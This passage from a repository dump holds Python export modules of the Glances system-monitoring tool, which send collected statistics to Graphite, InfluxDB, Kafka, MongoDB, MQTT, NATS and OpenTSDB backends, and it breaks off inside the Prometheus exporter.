title=title.capitalize(),\n            width=self.width,\n            height=self.height,\n            style=self.style,\n            show_dots=False,\n            legend_at_bottom=True,\n            x_label_rotation=20,\n            x_value_formatter=lambda dt: dt.strftime('%Y/%m/%d %H:%M:%S'),\n        )\n        for k, v in time_series_subsample(data, self.width).items():\n            chart.add(k, v)\n        chart.render_to_file(os.path.join(self.path, title + '.svg'))\n        return True\n"
  },
  {
    "path": "glances/exports/glances_graphite/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Graphite interface class.\"\"\"\n\nimport sys\nfrom numbers import Number\n\nfrom graphitesend import GraphiteClient\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the Graphite export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the Graphite export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        # N/A\n\n        # Optional configuration keys\n        self.debug = False\n        self.prefix = None\n        self.system_name = None\n\n        # Load the configuration file\n        self.export_enable = self.load_conf('graphite', mandatories=['host', 'port'], options=['prefix', 'system_name'])\n        if not self.export_enable:\n            sys.exit(2)\n\n        # Default prefix for stats is 'glances'\n        if self.prefix is None:\n            self.prefix = 'glances'\n\n        # Convert config option type\n        self.port = int(self.port)\n\n        # Init the Graphite client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the Graphite server.\"\"\"\n        client = None\n\n        if not self.export_enable:\n            return client\n\n        try:\n            if self.system_name is None:\n                client = GraphiteClient(\n                    graphite_server=self.host,\n                    graphite_port=self.port,\n                    prefix=self.prefix,\n                    lowercase_metric_names=True,\n                    debug=self.debug,\n                )\n            else:\n                client = GraphiteClient(\n                    graphite_server=self.host,\n                    graphite_port=self.port,\n                    prefix=self.prefix,\n                    system_name=self.system_name,\n                    lowercase_metric_names=True,\n                    debug=self.debug,\n                )\n        except Exception as e:\n            logger.error(f\"Can not write data to Graphite server: {self.host}:{self.port} ({e})\")\n            client = None\n        else:\n            logger.info(f\"Stats will be exported to Graphite server: {self.host}:{self.port}\")\n        return client\n\n    def export(self, name, columns, points):\n        \"\"\"Export the stats to the Graphite server.\"\"\"\n        if self.client is None:\n            return False\n        before_filtering_dict = dict(zip([normalize(f'{name}.{i}') for i in columns], points))\n        after_filtering_dict = dict(filter(lambda i: isinstance(i[1], Number), before_filtering_dict.items()))\n        try:\n            self.client.send_dict(after_filtering_dict)\n        except Exception as e:\n            logger.error(f\"Can not export stats to Graphite ({e})\")\n            return False\n        else:\n            logger.debug(f\"Export {name} stats to Graphite\")\n        return True\n\n\ndef normalize(name):\n    \"\"\"Normalize name for the Graphite convention\"\"\"\n\n    # Name should not contain space\n    return name.replace(' ', '_')\n"
  },
  {
    "path": "glances/exports/glances_influxdb/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"InfluxDB (up to InfluxDB 1.7.x) interface class.\"\"\"\n\nimport sys\nfrom platform import node\n\nfrom influxdb import InfluxDBClient\nfrom influxdb.client import InfluxDBClientError\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the InfluxDB export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the InfluxDB export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        self.user = None\n        self.password = None\n        self.db = None\n\n        # Optional configuration keys\n        self.protocol = \"http\"\n        self.prefix = None\n        self.tags = None\n        self.hostname = None\n\n        # Load the InfluxDB configuration file\n        self.export_enable = self.load_conf(\n            \"influxdb\",\n            mandatories=[\"host\", \"port\", \"user\", \"password\", \"db\"],\n            options=[\"protocol\", \"prefix\", \"tags\"],\n        )\n        if not self.export_enable:\n            exit(\"Missing influxdb config\")\n\n        # The hostname is always add as a tag\n        self.hostname = node().split(\".\")[0]\n\n        # Init the InfluxDB client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the InfluxDB server.\"\"\"\n        if not self.export_enable:\n            return None\n\n        # Correct issue #1530\n        if self.protocol is not None and (self.protocol.lower() == \"https\"):\n            ssl = True\n        else:\n            ssl = False\n\n        try:\n            db = InfluxDBClient(\n                host=self.host,\n                port=self.port,\n                ssl=ssl,\n                verify_ssl=False,\n                username=self.user,\n                password=self.password,\n                database=self.db,\n            )\n            get_all_db = [i[\"name\"] for i in db.get_list_database()]\n        except InfluxDBClientError as e:\n            logger.critical(f\"Cannot connect to InfluxDB database '{self.db}' ({e})\")\n            sys.exit(2)\n\n        if self.db in get_all_db:\n            logger.info(f\"Stats will be exported to InfluxDB server: {db._baseurl}\")\n        else:\n            logger.critical(f\"InfluxDB database '{self.db}' did not exist. Please create it\")\n            sys.exit(2)\n\n        return db\n\n    def export(self, name, columns, points):\n        \"\"\"Write the points to the InfluxDB server.\"\"\"\n        # Manage prefix\n        if self.prefix is not None:\n            name = self.prefix + \".\" + name\n        # Write input to the InfluxDB database\n        if not points:\n            logger.debug(f\"Cannot export empty {name} stats to InfluxDB\")\n        else:\n            try:\n                self.client.write_points(\n                    self.normalize_for_influxdb(name, columns, points),\n                    time_precision=\"s\",\n                )\n            except Exception as e:\n                # Log level set to warning instead of error (see: issue #1561)\n                logger.warning(f\"Cannot export {name} stats to InfluxDB ({e})\")\n            else:\n                logger.debug(f\"Export {name} stats to InfluxDB\")\n"
  },
  {
    "path": "glances/exports/glances_influxdb2/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"InfluxDB (from to InfluxDB 1.8+ to <3.0) interface class.\"\"\"\n\nimport sys\nfrom platform import node\n\nfrom influxdb_client import InfluxDBClient, WriteOptions\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the InfluxDB export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the InfluxDB export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        self.org = None\n        self.bucket = None\n        self.token = None\n\n        # Optional configuration keys\n        self.protocol = \"http\"\n        self.prefix = None\n        self.tags = None\n        self.hostname = None\n        self.interval = None\n\n        # Load the InfluxDB configuration file\n        self.export_enable = self.load_conf(\n            \"influxdb2\",\n            mandatories=[\"host\", \"port\", \"user\", \"password\", \"org\", \"bucket\", \"token\"],\n            options=[\"protocol\", \"prefix\", \"tags\", \"interval\"],\n        )\n        if not self.export_enable:\n            exit(\"Missing influxdb2 config\")\n\n        # Interval between two exports (in seconds)\n        if self.interval is None:\n            self.interval = 0\n        try:\n            self.interval = int(self.interval)\n        except ValueError:\n            logger.warning(\"InfluxDB export interval is not an integer, use default value\")\n            self.interval = 0\n        # and should be set to the Glances refresh time if the value is 0\n        self.interval = self.interval if self.interval > 0 else self.args.time\n        logger.debug(f\"InfluxDB export interval is set to {self.interval} seconds\")\n\n        # The hostname is always add as a tag\n        self.hostname = node().split(\".\")[0]\n\n        # Init the InfluxDB client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the InfluxDB server.\"\"\"\n        if not self.export_enable:\n            return None\n\n        url = f\"{self.protocol}://{self.host}:{self.port}\"\n        try:\n            # See docs: https://influxdb-client.readthedocs.io/en/stable/api.html#influxdbclient\n            client = InfluxDBClient(\n                url=url,\n                enable_gzip=False,\n                verify_ssl=False,\n                org=self.org,\n                token=self.token,\n            )\n        except Exception as e:\n            logger.critical(f\"Cannot connect to InfluxDB server '{url}' ({e})\")\n            sys.exit(2)\n        else:\n            logger.info(f\"Connected to InfluxDB server version {client.health().version} ({client.health().message})\")\n\n        # Create the write client\n        return client.write_api(\n            write_options=WriteOptions(\n                batch_size=500,\n                flush_interval=self.interval * 1000,\n                jitter_interval=2000,\n                retry_interval=5000,\n                max_retries=5,\n                max_retry_delay=30000,\n                exponential_base=2,\n            )\n        )\n\n    def export(self, name, columns, points):\n        \"\"\"Write the points to the InfluxDB server.\"\"\"\n        # Manage prefix\n        if self.prefix is not None:\n            name = self.prefix + \".\" + name\n        # Write input to the InfluxDB database\n        if not points:\n            logger.debug(f\"Cannot export empty {name} stats to InfluxDB\")\n        else:\n            try:\n                self.client.write(\n                    self.bucket,\n                    self.org,\n                    self.normalize_for_influxdb(name, columns, points),\n                    time_precision=\"s\",\n                )\n            except Exception as e:\n                # Log level set to warning instead of error (see: issue #1561)\n                logger.warning(f\"Cannot export {name} stats to InfluxDB ({e})\")\n            else:\n                logger.debug(f\"Export {name} stats to InfluxDB\")\n"
  },
  {
    "path": "glances/exports/glances_influxdb3/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2025 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"InfluxDB (for InfluxDB 3.x) interface class.\"\"\"\n\nimport sys\nfrom platform import node\n\nfrom influxdb_client_3 import InfluxDBClient3\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the InfluxDB export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the InfluxDB export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        self.host = None\n        self.port = None\n        self.org = None\n        self.database = None\n        self.token = None\n\n        # Optional configuration keys\n        self.prefix = None\n        self.tags = None\n        self.hostname = None\n\n        # Load the InfluxDB configuration file\n        self.export_enable = self.load_conf(\n            \"influxdb3\",\n            mandatories=[\"host\", \"port\", \"org\", \"database\", \"token\"],\n            options=[\"prefix\", \"tags\"],\n        )\n        if not self.export_enable:\n            exit(\"Missing influxdb3 config\")\n\n        # The hostname is always add as a tag\n        self.hostname = node().split(\".\")[0]\n\n        # Init the InfluxDB client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the InfluxDB server.\"\"\"\n        if not self.export_enable:\n            return None\n\n        try:\n            db = InfluxDBClient3(\n                host=self.host,\n                org=self.org,\n                database=self.database,\n                token=self.token,\n            )\n        except Exception as e:\n            logger.critical(f\"Cannot connect to InfluxDB database '{self.database}' ({e})\")\n            sys.exit(2)\n\n        if self.database == db._database:\n            logger.info(\n                f\"Stats will be exported to InfluxDB server {self.host}:{self.port} in {self.database} database\"\n            )\n        else:\n            logger.critical(f\"InfluxDB database '{self.database}' did not exist. Please create it\")\n            sys.exit(2)\n\n        return db\n\n    def export(self, name, columns, points):\n        \"\"\"Write the points to the InfluxDB server.\"\"\"\n        # Manage prefix\n        if self.prefix is not None:\n            name = self.prefix + \".\" + name\n        # Write input to the InfluxDB database\n        if not points:\n            logger.debug(f\"Cannot export empty {name} stats to InfluxDB\")\n        else:\n            try:\n                self.client.write(\n                    record=self.normalize_for_influxdb(name, columns, points),\n                    time_precision=\"s\",\n                )\n            except Exception as e:\n                # Log level set to warning instead of error (see: issue #1561)\n                logger.warning(f\"Cannot export {name} stats to InfluxDB ({e})\")\n            else:\n                logger.debug(f\"Export {name} stats to InfluxDB\")\n"
  },
  {
    "path": "glances/exports/glances_json/__init__.py",
    "content": "\"\"\"JSON interface class.\"\"\"\n\nimport sys\n\nfrom glances.exports.export import GlancesExport\nfrom glances.globals import json_dumps, listkeys\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the JSON export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the JSON export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # JSON file name\n        self.json_filename = args.export_json_file\n\n        # Set the JSON output file\n        try:\n            self.json_file = open(self.json_filename, 'w')\n            self.json_file.close()\n        except OSError as e:\n            logger.critical(f\"Cannot create the JSON file: {e}\")\n            sys.exit(2)\n\n        logger.info(f\"Exporting stats to file: {self.json_filename}\")\n\n        self.export_enable = True\n\n        # Buffer for dict of stats\n        self.buffer = {}\n\n    def exit(self):\n        \"\"\"Close the JSON file.\"\"\"\n        logger.debug(f\"Finalise export interface {self.export_name}\")\n        self.json_file.close()\n\n    def export(self, name, columns, points):\n        \"\"\"Export the stats to the JSON file.\"\"\"\n\n        # Check for completion of loop for all exports\n        if name == self.last_exported_list()[0] and self.buffer != {}:\n            # One whole loop has been completed\n            # Flush stats to file\n            logger.debug(f\"Exporting stats ({listkeys(self.buffer)}) to JSON file ({self.json_filename})\")\n\n            # Export stats to JSON file\n            with open(self.json_filename, \"wb\") as self.json_file:\n                try:\n                    self.json_file.write(json_dumps(self.buffer) + b'\\n')\n                except Exception as e:\n                    logger.error(f'Can not export data to JSON ({e})')\n\n            # Reset buffer\n            self.buffer = {}\n\n        # Add current stat to the buffer\n        self.buffer[name] = dict(zip(columns, points))\n"
  },
  {
    "path": "glances/exports/glances_kafka/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Kafka interface class.\"\"\"\n\nimport sys\n\nfrom kafka import KafkaProducer\n\nfrom glances.exports.export import GlancesExport\nfrom glances.globals import json_dumps\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the Kafka export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the Kafka export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        self.topic = None\n\n        # Optional configuration keys\n        self.compression = None\n        self.tags = None\n\n        # Load the Kafka configuration file section\n        self.export_enable = self.load_conf(\n            'kafka', mandatories=['host', 'port', 'topic'], options=['compression', 'tags']\n        )\n        if not self.export_enable:\n            exit('Missing KAFKA config')\n\n        # Init the kafka client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the Kafka server.\"\"\"\n        if not self.export_enable:\n            return None\n\n        # Build the server URI with host and port\n        server_uri = f'{self.host}:{self.port}'\n\n        try:\n            s = KafkaProducer(\n                bootstrap_servers=server_uri,\n                value_serializer=lambda v: json_dumps(v),\n                compression_type=self.compression,\n            )\n        except Exception as e:\n            logger.critical(f\"Cannot connect to Kafka server {server_uri} ({e})\")\n            sys.exit(2)\n        else:\n            logger.info(f\"Connected to the Kafka server {server_uri}\")\n\n        return s\n\n    def export(self, name, columns, points):\n        \"\"\"Write the points to the kafka server.\"\"\"\n        logger.debug(f\"Export {name} stats to Kafka\")\n\n        # Create DB input\n        data = dict(zip(columns, points))\n        if self.tags is not None:\n            data.update(self.parse_tags(self.tags))\n\n        # Send stats to the kafka topic\n        # key=<plugin name>\n        # value=JSON dict\n        try:\n            self.client.send(\n                self.topic,\n                # Kafka key name needs to be bytes #1593\n                key=name.encode('utf-8'),\n                value=data,\n            )\n        except Exception as e:\n            logger.error(f\"Cannot export {name} stats to Kafka ({e})\")\n\n    def exit(self):\n        \"\"\"Close the Kafka export module.\"\"\"\n        # To ensure all connections are properly closed\n        self.client.flush()\n        self.client.close()\n        # Call the father method\n        super().exit()\n"
  },
  {
    "path": "glances/exports/glances_mongodb/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"MongoDB interface class.\"\"\"\n\nimport sys\nfrom urllib.parse import quote_plus\n\nimport pymongo\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the MongoDB export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the MongoDB export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        self.db = None\n\n        # Optional configuration keys\n        self.user = None\n        self.password = None\n\n        # Load the Cassandra configuration file section\n        self.export_enable = self.load_conf('mongodb', mandatories=['host', 'port', 'db'], options=['user', 'password'])\n        if not self.export_enable:\n            sys.exit(2)\n\n        # Init the CouchDB client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the CouchDB server.\"\"\"\n        if not self.export_enable:\n            return None\n\n        server_uri = f'mongodb://{quote_plus(self.user)}:{quote_plus(self.password)}@{self.host}:{self.port}'\n\n        try:\n            client = pymongo.MongoClient(server_uri)\n            client.admin.command('ping')\n        except Exception as e:\n            logger.critical(f\"Cannot connect to MongoDB server {self.host}:{self.port} ({e})\")\n            sys.exit(2)\n        else:\n            logger.info(\"Connected to the MongoDB server\")\n\n        return client\n\n    def database(self):\n        \"\"\"Return the CouchDB database object\"\"\"\n        return self.client[self.db]\n\n    def export(self, name, columns, points):\n        \"\"\"Write the points to the MongoDB server.\"\"\"\n        logger.debug(f\"Export {name} stats to MongoDB\")\n\n        # Create DB input\n        data = dict(zip(columns, points))\n\n        # Write data to the MongoDB database\n        try:\n            self.database()[name].insert_one(data)\n        except Exception as e:\n            logger.error(f\"Cannot export {name} stats to MongoDB ({e})\")\n"
  },
  {
    "path": "glances/exports/glances_mqtt/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"MQTT interface class.\"\"\"\n\nimport socket\nimport string\nimport sys\n\n# Import paho for MQTT\nimport certifi\nimport paho.mqtt.client as paho\n\nfrom glances.exports.export import GlancesExport\nfrom glances.globals import json_dumps\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the MQTT export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the MQTT export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        self.user = None\n        self.password = None\n        self.topic = None\n        self.tls = 'true'\n\n        # Load the MQTT configuration file\n        self.export_enable = self.load_conf(\n            'mqtt',\n            mandatories=['host', 'password'],\n            options=['port', 'devicename', 'user', 'topic', 'tls', 'topic_structure', 'callback_api_version'],\n        )\n        if not self.export_enable:\n            exit('Missing MQTT config')\n\n        # Get the current hostname\n        self.devicename = self.devicename or socket.gethostname()\n        self.port = int(self.port) or 8883\n        self.topic = self.topic or 'glances'\n        self.user = self.user or 'glances'\n        self.tls = self.tls and self.tls.lower() == 'true'\n\n        self.topic_structure = (self.topic_structure or 'per-metric').lower()\n        if self.topic_structure not in ['per-metric', 'per-plugin']:\n            logger.critical(\"topic_structure must be either 'per-metric' or 'per-plugin'.\")\n            sys.exit(2)\n\n        # Init the MQTT client\n        self.client = self.init()\n        if not self.client:\n            exit(\"MQTT client initialization failed\")\n\n    def init(self):\n        # Get the current callback api version\n        self.callback_api_version = int(self.callback_api_version) or 2\n\n        # Set enum for connection\n        if self.callback_api_version == 1:\n            self.callback_api_version = paho.CallbackAPIVersion.VERSION1\n        else:\n            self.callback_api_version = paho.CallbackAPIVersion.VERSION2\n\n        \"\"\"Init the connection to the MQTT server.\"\"\"\n        if not self.export_enable:\n            return None\n        try:\n            client = paho.Client(\n                callback_api_version=self.callback_api_version,\n                client_id='glances_' + self.devicename,\n                clean_session=False,\n            )\n\n            def on_connect(client, userdata, flags, reason_code, properties):\n                \"\"\"Action to perform when connecting.\"\"\"\n                self.client.publish(\n                    topic='/'.join([self.topic, self.devicename, \"availability\"]), payload=\"online\", retain=True\n                )\n\n            def on_disconnect(client, userdata, flags, reason_code, properties):\n                \"\"\"Action to perform when the connection is over.\"\"\"\n                self.client.publish(\n                    topic='/'.join([self.topic, self.devicename, \"availability\"]), payload=\"offline\", retain=True\n                )\n\n            client.on_connect = on_connect\n            client.on_disconnect = on_disconnect\n            client.will_set(\n                topic='/'.join([self.topic, self.devicename, \"availability\"]), payload=\"offline\", retain=True\n            )\n\n            client.username_pw_set(username=self.user, password=self.password)\n            if self.tls:\n                client.tls_set(certifi.where())\n            client.connect(host=self.host, port=self.port)\n            client.loop_start()\n            return client\n        except Exception as e:\n            logger.critical(f\"Connection to MQTT server {self.host}:{self.port} failed with error: {e} \")\n            return None\n\n    def export(self, name, columns, points):\n        \"\"\"Write the points in MQTT.\"\"\"\n\n        WHITELIST = '_-' + string.ascii_letters + string.digits\n        SUBSTITUTE = '_'\n\n        def whitelisted(s, whitelist=WHITELIST, substitute=SUBSTITUTE):\n            return ''.join(c if c in whitelist else substitute for c in s)\n\n        if self.topic_structure == 'per-metric':\n            for sensor, value in zip(columns, points):\n                try:\n                    sensor = [whitelisted(name) for name in sensor.split('.')]\n                    to_export = [self.topic, self.devicename, name]\n                    to_export.extend(sensor)\n                    topic = '/'.join(to_export)\n\n                    self.client.publish(topic, value)\n                except Exception as e:\n                    logger.error(f\"Can not export stats to MQTT server ({e})\")\n        elif self.topic_structure == 'per-plugin':\n            try:\n                topic = '/'.join([self.topic, self.devicename, name])\n                sensor_values = dict(zip(columns, points))\n\n                # Build the value to output\n                output_value = {}\n                for key in sensor_values:\n                    split_key = key.split('.')\n\n                    # Add the parent keys if they don't exist\n                    current_level = output_value\n                    for depth in range(len(split_key) - 1):\n                        if split_key[depth] not in current_level:\n                            current_level[split_key[depth]] = {}\n                        current_level = current_level[split_key[depth]]\n\n                    # Add the value\n                    current_level[split_key[len(split_key) - 1]] = sensor_values[key]\n\n                json_value = json_dumps(output_value)\n                self.client.publish(topic, json_value)\n            except Exception as e:\n                logger.error(f\"Can not export stats to MQTT server ({e})\")\n"
  },
  {
    "path": "glances/exports/glances_nats/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2026 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"NATS interface class.\"\"\"\n\nfrom nats.aio.client import Client as NATS\nfrom nats.errors import ConnectionClosedError\nfrom nats.errors import TimeoutError as NatsTimeoutError\n\nfrom glances.exports.export_asyncio import GlancesExportAsyncio\nfrom glances.globals import json_dumps\nfrom glances.logger import logger\n\n\nclass Export(GlancesExportAsyncio):\n    \"\"\"This class manages the NATS export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the NATS export IF.\"\"\"\n        # Load the NATS configuration file before calling super().__init__\n        # because super().__init__ will call _async_init() which needs config\n        self.config = config\n        self.args = args\n        self.export_name = self.__class__.__module__\n\n        export_enable = self.load_conf(\n            'nats',\n            mandatories=['host'],\n            options=['prefix'],\n        )\n        if not export_enable:\n            exit('Missing NATS config')\n\n        self.prefix = self.prefix or 'glances'\n        # Host is a comma-separated list of NATS servers\n        self.hosts = self.host\n\n        # NATS-specific attributes\n        self.client = None\n        self._connected = False\n        self._publish_count = 0\n\n        # Call parent __init__ which will start event loop and call _async_init()\n        super().__init__(config=config, args=args)\n\n        # Restore export_enable after super().__init__() resets it to False\n        self.export_enable = export_enable\n\n    async def _async_init(self):\n        \"\"\"Connect to NATS with error handling.\"\"\"\n        try:\n            if self.client:\n                try:\n                    await self.client.close()\n                except Exception as e:\n                    logger.debug(f\"NATS Error closing existing client: {e}\")\n\n            self.client = NATS()\n\n            logger.debug(f\"NATS Connecting to servers: {self.hosts}\")\n\n            # Configure with reconnection callbacks\n            await self.client.connect(\n                servers=[s.strip() for s in self.hosts.split(',')],\n                reconnect_time_wait=2,\n                max_reconnect_attempts=60,\n                error_cb=self._error_callback,\n                disconnected_cb=self._disconnected_callback,\n                reconnected_cb=self._reconnected_callback,\n            )\n\n            self._connected = True\n            logger.info(f\"NATS Successfully connected to servers: {self.hosts}\")\n        except Exception as e:\n            self._connected = False\n            logger.error(f\"NATS connection error: {e}\")\n            raise\n\n    async def _error_callback(self, e):\n        \"\"\"Called when NATS client encounters an error.\"\"\"\n        logger.error(f\"NATS error callback: {e}\")\n\n    async def _disconnected_callback(self):\n        \"\"\"Called when disconnected from NATS.\"\"\"\n        self._connected = False\n        logger.debug(\"NATS disconnected callback\")\n\n    async def _reconnected_callback(self):\n        \"\"\"Called when reconnected to NATS.\"\"\"\n        self._connected = True\n        logger.debug(\"NATS reconnected callback\")\n\n    async def _async_exit(self):\n        \"\"\"Disconnect from NATS.\"\"\"\n        try:\n            if self.client and self._connected:\n                await self.client.drain()\n                await self.client.close()\n                self._connected = False\n                logger.debug(f\"NATS disconnected cleanly. Total messages published: {self._publish_count}\")\n        except Exception as e:\n            logger.error(f\"NATS Error in disconnect: {e}\")\n\n    async def _async_export(self, name, columns, points):\n        \"\"\"Write the points to NATS using AsyncIO.\"\"\"\n        if not self._connected:\n            logger.warning(\"NATS not connected, skipping export\")\n            return\n\n        subject_name = f\"{self.prefix}.{name}\"\n        subject_data = dict(zip(columns, points))\n\n        # Publish data to NATS\n        try:\n            if not self._connected:\n                raise ConnectionClosedError(\"NATS Not connected to server\")\n            await self.client.publish(subject_name, json_dumps(subject_data))\n            await self.client.flush(timeout=2.0)\n            self._publish_count += 1\n        except (ConnectionClosedError, NatsTimeoutError) as e:\n            self._connected = False\n            logger.error(f\"NATS publish failed for {subject_name}: {e}\")\n            raise\n        except Exception as e:\n            logger.error(f\"NATS Unexpected error publishing {subject_name}: {e}\", exc_info=True)\n            raise\n\n\n# End of glances/exports/glances_nats/__init__.py\n"
  },
  {
    "path": "glances/exports/glances_opentsdb/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"OpenTSDB interface class.\"\"\"\n\nimport sys\nfrom numbers import Number\n\nimport potsdb\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the OpenTSDB export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the OpenTSDB export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        # N/A\n\n        # Optionals configuration keys\n        self.prefix = None\n        self.tags = None\n\n        # Load the configuration file\n        self.export_enable = self.load_conf('opentsdb', mandatories=['host', 'port'], options=['prefix', 'tags'])\n        if not self.export_enable:\n            exit('Missing OPENTSDB config')\n\n        # Default prefix for stats is 'glances'\n        if self.prefix is None:\n            self.prefix = 'glances'\n\n        # Init the OpenTSDB client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the OpenTSDB server.\"\"\"\n        if not self.export_enable:\n            return None\n\n        try:\n            db = potsdb.Client(self.host, port=int(self.port), check_host=True)\n        except Exception as e:\n            logger.critical(f\"Cannot connect to OpenTSDB server {self.host}:{self.port} ({e})\")\n            sys.exit(2)\n\n        return db\n\n    def export(self, name, columns, points):\n        \"\"\"Export the stats to the OpenTSDB server.\"\"\"\n        for i in range(len(columns)):\n            if not isinstance(points[i], Number):\n                continue\n            stat_name = f'{self.prefix}.{name}.{columns[i]}'\n            stat_value = points[i]\n            tags = self.parse_tags(self.tags)\n            try:\n                self.client.send(stat_name, stat_value, **tags)\n            except Exception as e:\n                logger.error(f\"Can not export stats {name} to OpenTSDB ({e})\")\n        logger.debug(f\"Export {name} stats to OpenTSDB\")\n\n    def exit(self):\n        \"\"\"Close the OpenTSDB export module.\"\"\"\n        # Waits for all outstanding metrics to be sent and background thread closes\n        self.client.wait()\n        # Call the father method\n        super().exit()\n"
  },
  {
    "path": "glances/exports/glances_prometheus/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Prometheus interface class.\"\"\"\n\nimport sys\nfrom numbers import Number\n\nfrom prometheus_client import Gauge, start_http_server\n\nfrom glances.exports.export import GlancesExport\nfrom glances.globals import listkeys\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the Prometheus export module.\"\"\"\n\n    METRIC_SEPARATOR = '_'\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the Prometheus export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Load the Prometheus configuration file section\n        self.export_enable = self.load_conf('prometheus', mandatories=['host', 'port', 'labels'], options=['prefix'])\n        if not self.export_enable:\n            exit('Missing PROMETHEUS config')\n\n        # Optionals configuration keys\n        if self.prefix is None:\n            self.prefix = 'glances'\n\n        if self.labels is None:\n            self.labels = 'src:glances'\n\n        # Init the metric dict\n        # Perhaps a better method is possible...\n        self._metric_dict = {}\n\n        # Keys name (compute in update() method)\n        self.keys_name = {}\n\n        # Init the Prometheus Exporter\n        self.init()\n\n    def init(self):\n        \"\"\"Init the Prometheus Exporter\"\"\"\n        try:\n            start_http_server(port=int(self.port), addr=self.host)\n        except Exception as e:\n            logger.critical(f\"Can not start Prometheus exporter on {self.host}:{self.port} ({e})\")\n            sys.exit(2)\n        else:\n            logger.info(f\"Start Prometheus exporter on {self.host}:{self.port}\")\n\n    def update(self, stats):\n        self.keys_name = {k: stats.get_plugin(k).get_key() for k in stats.getPluginsList()}\n        super().update(stats)\n\n    def export(self, name, columns, points):\n        \"\"\"Write the points to the Prometheus exporter using Gauge.\"\"\"\n        